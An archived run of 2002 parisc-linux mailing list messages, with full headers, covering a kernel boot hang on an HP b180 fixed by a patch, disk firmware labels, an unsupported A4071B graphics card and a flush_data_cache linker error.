	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16956

Hi grant,
>>
>>>
>>>jsoe0708@tiscali.be wrote:
>>>> Hi Grant,
>>>>
>>>> Could it be related to your patch in msg:
>>>> http://lists.parisc-linux.org/pipermail/parisc-linux/2002-November/018418.htm
>>>>   l
>>>>
>>>> If yes can you re-forward it to me (I lost it sorry)?
>>>
>>>hmm....I doubt it. I'd expect the box to crash if it were.
>>>
>>You have right it doesn't matter.
>>
>>But I do some progress:
>>Partition Check locks on the b180 at :
>>....
>>    res=check_part[i](hd, bdev, first_sector, first_part_minor);
>>....
>>in check_partition(...)
>>
>>in the very first check_part[0]
>>
>>Now how may I determine (with printk) which actual function is called?
>>
>Well stopping gcc at preprocessing stage, I reach to figure out that only
>msdos_partition is configured.
>
>I continue (i will check first transmitted parameter values)
>
Well that is ok. 

Should this patch <http://lists.parisc-linux.org/hypermail/parisc-linux/10440.html>

be backport into 2.4?

Joel

********************************************************************************
Controlez mieux votre consommation Internet...surfez Tiscali Complete...http://tiscali.complete.be




From - Thu Nov 08 21:25:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: FW: RE: [parisc-linux] 2.4.20-rc1-pa7 boot problem on b180
Date: Wed, 27 Nov 2002 18:21:15 +0000
Lines: 12
Approved: news@gmane.org
Message-ID: <20021127182115.F1586@parcelfarce.linux.theplanet.co.uk>
References: <3DA3C54C000078BE@ocpmta5.be.tiscali.com> <3DAAAD4600004DF4@ocpmta1.be.tiscali.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621977 17828 80.91.229.3 (22 Nov 2014 02:06:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:17 +0000 (UTC)
Cc: Grant Grundler <grundler@dsl2.external.hp.com>,
	parisc-linux@lists.parisc-linux.org
To: jsoe0708@tiscali.be
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Nov 27 11:21:21 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id DA248487B
	for <parisc-linux@lists.parisc-linux.org>; Wed, 27 Nov 2002 11:21:20 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 18H6oF-0004Kv-00; Wed, 27 Nov 2002 18:21:15 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <3DAAAD4600004DF4@ocpmta1.be.tiscali.com>; from jsoe0708@tiscali.be on Wed, Nov 27, 2002 at 07:09:18PM +0100
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16957

On Wed, Nov 27, 2002 at 07:09:18PM +0100, jsoe0708@tiscali.be wrote:
> Should this patch <http://lists.parisc-linux.org/hypermail/parisc-linux/10440.html>
> 
> be backport into 2.4?

which of those patches are not already in 2.4?

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:25:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jsoe0708@tiscali.be
Newsgroups: gmane.linux.ports.parisc
Subject: Re: FW: RE: [parisc-linux] 2.4.20-rc1-pa7 boot problem on b180
Date: Wed, 27 Nov 2002 19:37:13 +0100
Lines: 17
Approved: news@gmane.org
Message-ID: <3DAAAD4600004E0F@ocpmta1.be.tiscali.com>
References: <20021127182115.F1586@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621977 17837 80.91.229.3 (22 Nov 2014 02:06:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:17 +0000 (UTC)
Cc: "Grant Grundler" <grundler@dsl2.external.hp.com>,
	parisc-linux@lists.parisc-linux.org
To: "Matthew Wilcox" <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Nov 27 11:37:25 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm3.tiscalinet.be [212.35.2.72])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9EE284872
	for <parisc-linux@lists.parisc-linux.org>; Wed, 27 Nov 2002 11:37:25 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18H73m-0002rw-00; Wed, 27 Nov 2002 19:37:18 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Wed, 27 Nov 2002 19:37:13 +0100
In-Reply-To: <20021127182115.F1586@parcelfarce.linux.theplanet.co.uk>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16958

>
>On Wed, Nov 27, 2002 at 07:09:18PM +0100, jsoe0708@tiscali.be wrote:
>> Should this patch <http://lists.parisc-linux.org/hypermail/parisc-linux/10440.html>
>> 
>> be backport into 2.4?
>
>which of those patches are not already in 2.4?
>
Don't know? Patch refer to 2.5

Joel

********************************************************************************
Controlez mieux votre consommation Internet...surfez Tiscali Complete...http://tiscali.complete.be




From - Thu Nov 08 21:25:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Smith <james@compusmithllc.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Disk problems
Date: 27 Nov 2002 17:20:56 -0500
Lines: 45
Approved: news@gmane.org
Message-ID: <1038435657.1271.14.camel@seventy>
References: <3DA3DE66000072D5@ocpmta4.be.tiscali.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621978 17840 80.91.229.3 (22 Nov 2014 02:06:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:18 +0000 (UTC)
Cc: parisc <parisc-linux@lists.parisc-linux.org>
To: jsoe0708@tiscali.be
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Nov 27 15:21:04 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from eightythree.valleybikes.com (valleybikes.com [24.123.22.113])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8D8FC4872
	for <parisc-linux@lists.parisc-linux.org>; Wed, 27 Nov 2002 15:21:03 -0700 (MST)
Original-Received: from localhost.localdomain (root@seventy.compusmithllc.com [192.168.194.70])
	by eightythree.valleybikes.com (8.12.5/8.12.5/Debian-1) with ESMTP id gARMKu34007913;
	Wed, 27 Nov 2002 17:20:57 -0500
In-Reply-To: <3DA3DE66000072D5@ocpmta4.be.tiscali.com>
X-Mailer: Ximian Evolution 1.0.8 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16959

ooo - my mistake

this is the only one thats an ST31230N - the rest are ST31200N

how do i find the firmware number for the drives?

theres what i think are proms with numbers on labels which might be it

the ones that work (ST31200N) all have 

3491 I-HI 150
3491 I-LO 150 

on them 

the one that doesnt (ST31230N) has

7579 1929 I-HI
7579 1929 I-LO

any help ?


James S


On Wed, 2002-11-27 at 12:06, jsoe0708@tiscali.be wrote:
> 
> >
> >the cable length is less than 4ft & every other disk worked, including
> >some of the same model
> >
> Ok same model but can you still make me a favour by verifying the firmware
> release?
> 
> Thanks,
>     Joel
> 
> ********************************************************************************
> Controlez mieux votre consommation Internet...surfez Tiscali Complete...http://tiscali.complete.be
> 
> 




From - Thu Nov 08 21:25:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Abel Mamfoumby" <moumboungou@hotmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Driver for A4071B on C100 workstation
Date: Thu, 28 Nov 2002 13:52:50 +0100
Lines: 17
Approved: news@gmane.org
Message-ID: <F50GvrdzCsbNZjGazDE000280bc@hotmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1; format=flowed
X-Trace: ger.gmane.org 1416621978 17842 80.91.229.3 (22 Nov 2014 02:06:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:18 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Nov 28 05:52:55 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hotmail.com (f50.law15.hotmail.com [64.4.23.50])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5DF52482B
	for <parisc-linux@lists.parisc-linux.org>; Thu, 28 Nov 2002 05:52:55 -0700 (MST)
Original-Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Thu, 28 Nov 2002 04:52:50 -0800
Original-Received: from 195.141.231.84 by lw15fd.law15.hotmail.msn.com with HTTP;
	Thu, 28 Nov 2002 12:52:50 GMT
X-Originating-IP: [195.141.231.84]
X-OriginalArrivalTime: 28 Nov 2002 12:52:50.0568 (UTC) FILETIME=[0F22E880:01C296DD]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16960

Hello,
I have just installed The Debian HPPA Linux 3.0r0 on my workstation C100 / 
9000. And I have the A4071B Graphics card. Unfortunately I can't configure 
X11. is there someone who can help me?
ThankU

Moumboungou





_________________________________________________________________
MSN Messenger : discutez en direct avec vos amis ! 
http://www.msn.fr/msger/default.asp



From - Thu Nov 08 21:25:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jsoe0708@tiscali.be
Newsgroups: gmane.linux.ports.parisc
Subject: Re: FW: RE: [parisc-linux] 2.4.20-rc1-pa7 boot problem on b180
Date: Thu, 28 Nov 2002 15:31:07 +0100
Lines: 30
Approved: news@gmane.org
Message-ID: <3DB57761000056CD@ocpmta8.be.tiscali.com>
References: <3DAAAD4600004E0F@ocpmta1.be.tiscali.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416621978 17846 80.91.229.3 (22 Nov 2014 02:06:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:18 +0000 (UTC)
Cc: "Ryan Bradetich" <rbradetich@uswest.net>,
	parisc-linux@lists.parisc-linux.org
To: "Grant Grundler" <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Nov 28 07:31:47 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm2.tiscalinet.be [212.35.2.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id 65DF34832
	for <parisc-linux@lists.parisc-linux.org>; Thu, 28 Nov 2002 07:31:47 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18HPhb-0008VO-00; Thu, 28 Nov 2002 15:31:39 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Thu, 28 Nov 2002 15:31:07 +0100
In-Reply-To: <3DAAAD4600004E0F@ocpmta1.be.tiscali.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16961

Hi Grant,
>>
>>On Wed, Nov 27, 2002 at 07:09:18PM +0100, jsoe0708@tiscali.be wrote:
>>> Should this patch <http://lists.parisc-linux.org/hypermail/parisc-lin=
ux/10440.html>
>>> 
>>> be backport into 2.4?
>>
>>which of those patches are not already in 2.4?
>>
>Don't know? Patch refer to 2.5
>
Hmm do not know yet if this stand in 2.4 (I think so but not sure), never=

the less by curiosity I apply the Ryan patch: <http://lists.parisc-linux.=
org/pipermail/parisc-linux/2002-November/018414.html>
and it also solved the problem of the b180 boot???

Grant && Ryan, thanks a lot,
    Joel


*************************************************************************=
*******
Controlez mieux votre consommation Internet...surfez Tiscali Complete...h=
ttp://tiscali.complete.be





From - Thu Nov 08 21:25:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Derek Engelhaupt <derekengelhaupt@rocketmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Driver for A4071B on C100 workstation
Date: Thu, 28 Nov 2002 06:44:30 -0800 (PST)
Lines: 41
Approved: news@gmane.org
Message-ID: <20021128144430.31211.qmail@web12506.mail.yahoo.com>
References: <F50GvrdzCsbNZjGazDE000280bc@hotmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative; boundary="0-1862717397-1038494670=:29780"
X-Trace: ger.gmane.org 1416621979 17849 80.91.229.3 (22 Nov 2014 02:06:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:19 +0000 (UTC)
To: Abel Mamfoumby <moumboungou@hotmail.com>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Nov 28 07:44:36 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from web12506.mail.yahoo.com (web12506.mail.yahoo.com [216.136.173.198])
	by dsl2.external.hp.com (Postfix) with SMTP id BE7074834
	for <parisc-linux@lists.parisc-linux.org>; Thu, 28 Nov 2002 07:44:35 -0700 (MST)
Original-Received: from [12.24.253.152] by web12506.mail.yahoo.com via HTTP; Thu, 28 Nov 2002 06:44:30 PST
In-Reply-To: <F50GvrdzCsbNZjGazDE000280bc@hotmail.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16962

--0-1862717397-1038494670=:29780
Content-Type: text/plain; charset=us-ascii


I had that same card in my C180 and couldn't get it to work.  You will probably be better off using the internal graphics port on the C100.  The internal port only yields 8 bit color, but I don't think that A4071B card is supported at the moment.
derek
 Abel Mamfoumby <moumboungou@hotmail.com> wrote:Hello,
I have just installed The Debian HPPA Linux 3.0r0 on my workstation C100 / 
9000. And I have the A4071B Graphics card. Unfortunately I can't configure 
X11. is there someone who can help me?
ThankU

Moumboungou





_________________________________________________________________
MSN Messenger : discutez en direct avec vos amis ! 
http://www.msn.fr/msger/default.asp

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux


---------------------------------
Do you Yahoo!?
Yahoo! Mail Plus - Powerful. Affordable. Sign up now
--0-1862717397-1038494670=:29780
Content-Type: text/html; charset=us-ascii

<P>I had that same card in my C180 and couldn't get it to work.&nbsp; You will probably be better off using the internal graphics port on the C100.&nbsp; The internal port only yields 8 bit color, but I don't think that A4071B card is supported at the moment.
<P>derek
<P>&nbsp;<B><I>Abel Mamfoumby &lt;moumboungou@hotmail.com&gt;</I></B> wrote:
<BLOCKQUOTE style="BORDER-LEFT: #1010ff 2px solid; MARGIN-LEFT: 5px; PADDING-LEFT: 5px">Hello,<BR>I have just installed The Debian HPPA Linux 3.0r0 on my workstation C100 / <BR>9000. And I have the A4071B Graphics card. Unfortunately I can't configure <BR>X11. is there someone who can help me?<BR>ThankU<BR><BR>Moumboungou<BR><BR><BR><BR><BR><BR>_________________________________________________________________<BR>MSN Messenger : discutez en direct avec vos amis ! <BR>http://www.msn.fr/msger/default.asp<BR><BR>_______________________________________________<BR>parisc-linux mailing list<BR>parisc-linux@lists.parisc-linux.org<BR>http://lists.parisc-linux.org/mailman/listinfo/parisc-linux</BLOCKQUOTE><p><br><hr size=1>Do you Yahoo!?<br>
<a href="http://rd.yahoo.com/mail/mailsig/*http://mailplus.yahoo.com">Yahoo! Mail Plus</a> - Powerful. Affordable. <a href="http://rd.yahoo.com/mail/mailsig/*http://mailplus.yahoo.com">Sign up now</a>
--0-1862717397-1038494670=:29780--


From - Thu Nov 08 21:25:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jsoe0708@tiscali.be
Newsgroups: gmane.linux.ports.parisc
Subject: Re: FW: RE: [parisc-linux] 2.4.20-rc1-pa7 boot problem on b180
Date: Thu, 28 Nov 2002 17:27:17 +0100
Lines: 47
Approved: news@gmane.org
Message-ID: <3DB577610000573D@ocpmta8.be.tiscali.com>
References: <3DB57761000056CD@ocpmta8.be.tiscali.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416621979 17853 80.91.229.3 (22 Nov 2014 02:06:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:19 +0000 (UTC)
Cc: "Ryan Bradetich" <rbradetich@uswest.net>,
	parisc-linux@lists.parisc-linux.org
To: "Grant Grundler" <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Nov 28 09:27:34 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm3.tiscalinet.be [212.35.2.72])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9D3BF4878
	for <parisc-linux@lists.parisc-linux.org>; Thu, 28 Nov 2002 09:27:34 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18HRVf-00082j-00; Thu, 28 Nov 2002 17:27:27 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Thu, 28 Nov 2002 17:27:17 +0100
In-Reply-To: <3DB57761000056CD@ocpmta8.be.tiscali.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16963

>the less by curiosity I apply the Ryan patch: <http://lists.parisc-linux=
.org/pipermail/parisc-linux/2002-November/018414.html>
>and it also solved the problem of the b180 boot???
>

Don't know if could help but I also notice the following difference at bo=
ot
time:

With highmem_io=3D1 on a b2000
sym1: SCSI BUS has been reset.
scsi0 : sym-2.1.17a
scsi1 : sym-2.1.17a
blk: queue 100aca74, I/O limit 4095Mb (mask 0xffffffff)??? blk_queue_boun=
ce_limit
  Vendor: QUANTUM   Model: ATLAS5-9LVD       Rev: HP04
  Type:   Direct-Access                      ANSI SCSI revision: 03
blk: queue 100acb74, I/O limit 4095Mb (mask 0xffffffff)
  Vendor: QUANTUM   Model: ATLAS5-9LVD       Rev: HP04
  Type:   Direct-Access                      ANSI SCSI revision: 03
blk: queue 100acc74, I/O limit 4095Mb (mask 0xffffffff)
sym1:5:0: tagged command queuing enabled, command queue depth 16.
sym1:6:0: tagged command queuing enabled, command queue depth 16.


with highmem_io=3D0 on a b180
sym0: SCSI BUS has been reset.
scsi0 : sym-2.1.17a
  Vendor: IBM       Model: DDRS-39130WS      Rev: HP01
  Type:   Direct-Access                      ANSI SCSI revision: 02
  Vendor: IBM       Model: DDRS-39130WS      Rev: HP01
  Type:   Direct-Access                      ANSI SCSI revision: 02
sym0:5:0: tagged command queuing enabled, command queue depth 16.
sym0:6:0: tagged command queuing enabled, command queue depth 16.

hth,
    Joel


*************************************************************************=
*******
Controlez mieux votre consommation Internet...surfez Tiscali Complete...h=
ttp://tiscali.complete.be





From - Thu Nov 08 21:25:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "FARINATI,LEANDRO (HP-Brazil,ex1)" <leandro.farinati@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] flush_data_cache
Date: Thu, 28 Nov 2002 12:05:14 -0500
Lines: 20
Approved: news@gmane.org
Message-ID: <CB813811CBF6D3118DCC00902740BB4A0BA20C5F@xsp01.brazil.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416621979 17854 80.91.229.3 (22 Nov 2014 02:06:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:19 +0000 (UTC)
To: "Parisc-Linux List (E-mail)" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Nov 28 10:05:50 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel7.hp.com (atlrel7.hp.com [156.153.255.213])
	by dsl2.external.hp.com (Postfix) with ESMTP id 939A2487D
	for <parisc-linux@lists.parisc-linux.org>; Thu, 28 Nov 2002 10:05:50 -0700 (MST)
Original-Received: from xatlrelay1.atl.hp.com (xatlrelay1.atl.hp.com [15.45.89.190])
	by atlrel7.hp.com (Postfix) with ESMTP id 2BDB9805B8B
	for <parisc-linux@lists.parisc-linux.org>; Thu, 28 Nov 2002 12:05:46 -0500 (EST)
Original-Received: from xatlbh4.atl.hp.com (xatlbh4.atl.hp.com [15.45.89.189])
	by xatlrelay1.atl.hp.com (Postfix) with ESMTP id E306C12C
	for <parisc-linux@lists.parisc-linux.org>; Thu, 28 Nov 2002 12:05:25 -0500 (EST)
Original-Received: by xatlbh4.atl.hp.com with Internet Mail Service (5.5.2655.55)
	id <XP3KR6Y3>; Thu, 28 Nov 2002 12:05:15 -0500
X-Mailer: Internet Mail Service (5.5.2655.55)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16964

Hi people,

I am trying to use this function declared in cache.h (I put this =
include in
my source code) and I was obtain a linker error (undefined reference to
`flush_data_cache_local').
I am verify that the function flush_data_cache =E9 um define to
flush_data_cache_local, but I am do not identify the reason of the =
error.

Thanks in advance,

